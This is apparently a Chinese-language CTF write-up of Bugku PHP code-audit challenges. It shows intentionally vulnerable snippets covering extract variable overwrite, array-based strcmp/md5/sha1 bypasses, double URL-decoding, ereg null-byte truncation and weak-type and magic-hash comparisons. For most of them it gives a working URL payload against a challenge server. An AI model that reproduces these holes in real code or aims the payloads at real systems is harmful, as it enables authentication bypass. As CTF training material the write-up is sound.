Bugku 代码审计

0x01 extract变量覆盖

题目给出如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

这里主要用到了extract()变量覆盖函数,百度的解释是

1
2
3
extract()函数能将变量从数组导入当前的符号表
extract(array,extract_rules,prefix)
extract_rules:EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。

1
当extract()函数从用户可以控制的数组中导出变量时,可能发生变量覆盖,在这个例子中,extract()从$_GET中导出变量,从而可以导致任意变量被覆盖.

构造payload如下:

1
http://120.24.86.145:9009/1.php?shiyan=&flag=

这里因为我们不知道flag是什么,尝试让这两个都为空.

得到flag{bugku-dmsj-p2sm3N}

0x02 strcmp比较字符串

题目给出的源代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

构造payload:

1
http://120.24.86.145:9009/6.php?a[]=1

因为strcmp这个函数无法识别数组从而报错为0

0x03 urldecode二次编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id]))
{
echo("not allowed!");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "Access granted!";
echo "flag";
}
?>

利用了两次urldecode第一次是浏览器的解码第二次是函数的解码

构造payload:

1
http://120.24.86.145:9009/10.php?id=hacker%2544J

0x04 md5()函数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

这里的md5函数漏洞和strcmp漏洞一样,也一样无法识别数组

构造payload如下:

1
http://120.24.86.145:9009/18.php?username[]=1&password[]=2

0x05 数组返回NULL绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

这里有两种方法

  • ?password=a%00–
    因为ereg对%00截断
  • ?password[]=a
    因为ereg不能处理数组,返回null。===三个等号不会将null转化相同类型,从而null不等于FALSE,同样地strpos函数也不能处理数组,也会返回null

0x06 弱类型整数大小比较绕过

1
2
3
4
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

原理:php弱类型

1
http://120.24.86.145:9009/22.php?password=1444a

0x07 sha()函数比较绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo 'Your password can not be your name!';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo 'Invalid password.';
}
else
echo 'Login first!';
?>

sha1()存在数组漏洞,构造payload:

1
http://120.24.86.145:9009/7.php?name[]=1&password[]=2

0x08 md5加密相等绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

https://ntwyc2018.github.io/2018/02/25/phpruoleixing/

构造payload:

1
http://120.24.86.145:9009/13.php?a=s878926199a

0x09 十六进制与数字比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

十六进制绕过,将number的值转化为十六进制赋给password

1
http://120.24.86.145:9009/20.php?password=0xdeadc0de

写个python脚本转化即可

1
>>> print(hex(3735929054))

0x10 ereg正则%00截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$flag = "xxx";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo 'You password must be alphanumeric';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('- have not been found');
}
}
else
{
echo 'Invalid password';
}
}
?>

第八行strlen等用科学计数法绕过,比如1e8

构造payload如下:

1
http://120.24.86.145:9009/5.php?password=1e8%00*-*

0x11 strpos数组绕过

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag = "flag";
if (isset ($_GET['ctf'])) {
if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

这个上面说过了,strpos不能处理数组,返回null

1
http://120.24.86.145:9009/15.php?ctf[]=%00a

0x12 数字验证正则绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'flag';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
文章目录
  1. 1. 0x01 extract变量覆盖
  2. 2. 0x02 strcmp比较字符串
  3. 3. 0x03 urldecode二次编码绕过
  4. 4. 0x04 md5()函数
  5. 5. 0x05 数组返回NULL绕过
  6. 6. 0x06 弱类型整数大小比较绕过
  7. 7. 0x07 sha()函数比较绕过
  8. 8. 0x08 md5加密相等绕过
  9. 9. 0x09 十六进制与数字比较
  10. 10. 0x10 ereg正则%00截断
  11. 11. 0x11 strpos数组绕过
  12. 12. 0x12 数字验证正则绕过
,